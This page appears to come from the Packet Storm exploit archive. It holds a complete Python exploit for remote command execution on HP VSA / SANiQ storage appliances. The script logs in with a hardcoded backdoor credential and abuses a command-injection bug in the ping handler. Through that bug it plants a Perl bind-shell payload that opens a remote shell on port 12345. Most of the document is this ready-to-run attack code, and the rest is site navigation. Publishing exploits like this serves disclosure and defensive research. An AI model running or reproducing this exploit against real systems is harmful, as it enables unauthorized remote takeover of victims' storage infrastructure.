exploit the possibilities

HP VSA Command Execution

HP VSA Command Execution
Posted May 18, 2012
Authored by Nicolas Gregoire

HP VSA remote command execution exploit.

tags | exploit, remote
MD5 | 569ace67aa28a559c95f0ea2dcf7e73c

HP VSA Command Execution

Change Mirror Download
#!/usr/bin/python

''' ==================================
Pseudo documentation
================================== '''

# HP VSA / SANiQ Hydra client
# Nicolas Grégoire <nicolas.gregoire@agarri.fr>
# v0.5

''' ==================================
Target information
================================== '''

HOST = '192.168.201.11' # The remote host
PORT = 13838 # The hydra port

''' ==================================
Imports
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os

''' ==================================
Define functions
================================== '''

# Some nice formatting
def zprint(str):
print '[=] ' + str

# Define packets
def send_Exec():
zprint('Send Exec')

# RESTRICTIONS
# You can't use "/" in the payload
# No Netcat/Ruby/PHP, but telnet/bash/perl are available

# METASPLOIT PAYLOAD
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

# COMMAND INJECTION BUG
data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

# EXPLOIT
zprint('Now connect to port 12345 of machine ' + str(HOST))
send_packet(data)

def send_Login():
zprint('Send Login')
data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
send_packet(data)

# Define the sending function
def send_packet(message):

# Add header
ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
message = message + '\x00'
data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

# Send & receive
s.send(data)
data = s.recv(1024)
zprint('Received : [' + data + ']')

''' ==================================
Main code
================================== '''

# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Attack !
send_Login()
send_Exec()

# Deconnect
s.close

# Exit
zprint('Exit')


Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close